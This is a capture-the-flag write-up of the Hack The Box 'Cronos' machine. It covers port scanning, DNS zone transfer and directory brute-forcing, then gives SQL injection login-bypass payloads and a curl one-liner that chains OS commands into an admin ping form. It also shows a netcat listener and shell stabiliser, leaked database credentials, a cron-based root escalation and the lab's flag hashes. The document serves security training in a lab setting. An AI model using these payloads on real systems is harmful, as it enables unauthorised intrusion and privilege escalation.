Nmap Results
# Nmap 7.93 scan initiated Mon Apr 3 00:36:36 2023 as: nmap -Pn -p- -T5 -A -oN scan.txt 10.10.10.13
Nmap scan report for 10.10.10.13
Host is up (0.021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18b973826f26c7788f1b3988d802cee8 (RSA)
| 256 1ae606a6050bbb4192b028bf7fe5963b (ECDSA)
|_ 256 1a0ee7ba00cc020104cda3a93f5e2220 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 21.92 ms 10.10.14.1
2 22.06 ms 10.10.10.13
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 3 00:37:08 2023 -- 1 IP address (1 host up) scanned in 32.01 seconds
Service Enumeration
TCP+UDP/53
DNS Enumeration
The first couple of gobuster
enumeration attempts were unsuccessful when bruteforcing against the raw IP address of the web server. I believe it is configured to serve files based on a specific hostname or hostnames. We're going to need to try and bruteforce some information out of the DNS server running on this target.
The server returns one entry for 10.10.10.13
— ns1.cronos.htb
. So, we know the nameserver is aliased to ns1.cronos.htb
and the DNS zone it's hosting is cronos.htb
.
Let's see what happens when we query the web server with a hostname of cronos.htb
.
Looks good! We've got a Laravel server here with a <title>Cronos</title>
element in the HTML head section.
Check for Zone Transfer
Zone transfers are part of the core functionality of DNS, allowing DNS servers to replicate records to other servers. In this case, we are abusing a misconfiguration, as the DNS server shouldn't openly transfer its DNS records to just anyone that asks.
TCP/80
Edit the Hosts File
Based on our findings from the DNS server on the target, let's add some DNS host overrides to our hosts file.
Gobuster Enumeration
cronos.htb
gobuster dir -u http://cronos.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,html -r -t 100 -o gobuster.txt
/css (Status: 200) [Size: 925]
/favicon.ico (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 2319]
/js (Status: 200) [Size: 924]
/robots.txt (Status: 200) [Size: 24]
Nothing too interesting and the robots.txt
doesn't contain any useful information.
admin.cronos.htb
gobuster dir -u http://admin.cronos.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,html -r -t 100 -o gobuster.txt
/config.php (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 1547]
/logout.php (Status: 200) [Size: 1547]
/session.php (Status: 200) [Size: 1547]
/welcome.php (Status: 200) [Size: 1547]
Nothing too interesting to go with at the moment.
Virtual Host Enumeration
Let's see if we can find any other virtual hosts the server might be listening for.
gobuster vhost -k --domain cronos.htb --append-domain -u 10.10.10.13 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -o vhost.txt
Found: www.cronos.htb Status: 200 [Size: 2319]
Found: admin.cronos.htb Status: 200 [Size: 1547]
More Enumeration
So far, our enumeration has yielded some interesting findings, but nothing strong enough to execute on at the moment — no potential usernames, addiitonal information, etc. But, we do have a login page. We can test that for SQL injection vulnerabilities. When it comes to web apps, if you see an input point, you should test it to see if you can manipulate it outside the intended use set by the developers.
Testing for SQL Injection
We have two input points:
- Username
- Password
admin';#
' OR 1=1;#
Why do these payloads work? Probably, the code that is used to log in users contains a line similar to this:
With SQL injection, the attacker is injecting additional characters into the original SQL statement, causing an entirely different SQL query to be executed. In the case
Testing for Command Injection
Here, we've got a PHP script that looks like it is executing some commands on the underlying operating system. Specifically, this PHP script is taking user input and passing it to ping
or traceroute
on the target.
Since the target operating system appears to be a Linux host, we can use a ;
(semicolon) to chain commands together. Effectively, what you're saying is:
- Run
ping
- Then, run the next command
Very nice! We essentially have a web shell at this point. Let's capture a request, so that we can execute this from the command line using curl
to make it quicker to run commands.
Open the browser developer tools and re-run the request:
We can see that it is a HTTP POST
request. Let's inspect the request body:
Here's a zsh
one-liner I came up with to prompt for a command and execute it in the curl
request.
curl -X POST -H 'Cookie: PHPSESSID=1rqnq2h8dc8rfpnr99u3e08m17' --data-urlencode -d "command=ping -c 1&host=127.0.0.1; $(read 'cmd?Enter a command: ' && echo $cmd)" http://admin.cronos.htb/welcome.php
The $(read 'cmd?Enter a command: ' && echo $cmd)
portion is running in a zsh
subprocess, so whichever input you express here will be fed into the curl
command subsequently.
Netcat is installed on the target at /bin/nc
, but this version does not have the -e
parameter, which is still fine. Let's make sure the target can connect back to us by trying the nc -nz <htb-vpn-ip> <port>
command on the target.
Exploit
SQL Injection to Command Injection
Two scripts on the admin.cronos.htb
server did not sanitize user inputs and allow an attacker gain command execution on the server. The index.php
script has a login form with a username field that is vulnerable to SQL injection. Once authenticated via SQL injection, the welcome.php
script does not sanitize the user input allows the user to chain multiple OS commands together to gain command execution.
The proper way to mitigate this vulnerability would be to refactor the PHP scripts with proper sanitization of user inputs.
Reverse Shell
Stabilize with TTY Shell
python -c "import pty; pty.spawn('/bin/bash')"
Post-Exploit Enumeration
Operating Environment
OS & Kernel
NAME="Ubuntu"
VERSION="16.04.2 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.2 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sorry, user www-data may not run sudo on cronos.hackthebox.gr.
Users and Groups
Local Users
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash
Local Groups
noulis:x:1000:
adm:x:4:syslog,noulis
cdrom:x:24:noulis
sudo:x:27:noulis
dip:x:30:noulis
plugdev:x:46:noulis
lxd:x:110:noulis
noulis:x:1000:
lpadmin:x:117:noulis
sambashare:x:118:noulis
Network Configurations
Interfaces
ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:a5:a0 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.13/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:a5a0/64 scope global mngtmpaddr dynamic
valid_lft 86400sec preferred_lft 14400sec
inet6 fe80::250:56ff:feb9:a5a0/64 scope link
valid_lft forever preferred_lft forever
Open Ports
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN -
Scheduled Tasks
Interesting Scheduled Tasks
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
Interesting Files
/var/www/admin/config.php
<?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>
/var/www/laravel/.env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:+fUFGL45d1YZYlSTc0Sm71wPzJejQN/K6s9bHHihdYE=
APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://localhost
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret
BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
Privilege Escalation
Cron Job and Writable File
Being perfectly honest, when I first read this box's name — cronos
— it was pretty obvious that this CTF was going to involve cron
somehow. After getting a reverse shell and enumerating cronjobs with cat /etc/cron*
, I found the cron
running the PHP Artisan script every minute.
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
The reverse shell is currently running under the www-data
user account, meaning we have full ownership of the artisan file in question. And since the cron
job is running as root
, when the payload executes, we'll get a shell as root
.
Reverse Shell as Root
Stage the Payload
Start the Listener
sudo rlwrap nc -lnvp 443
Flags
User
96ff6ae3b050aef04f75348b26143c95
Root
17cd2b082904e4845bbc370d9a71f19b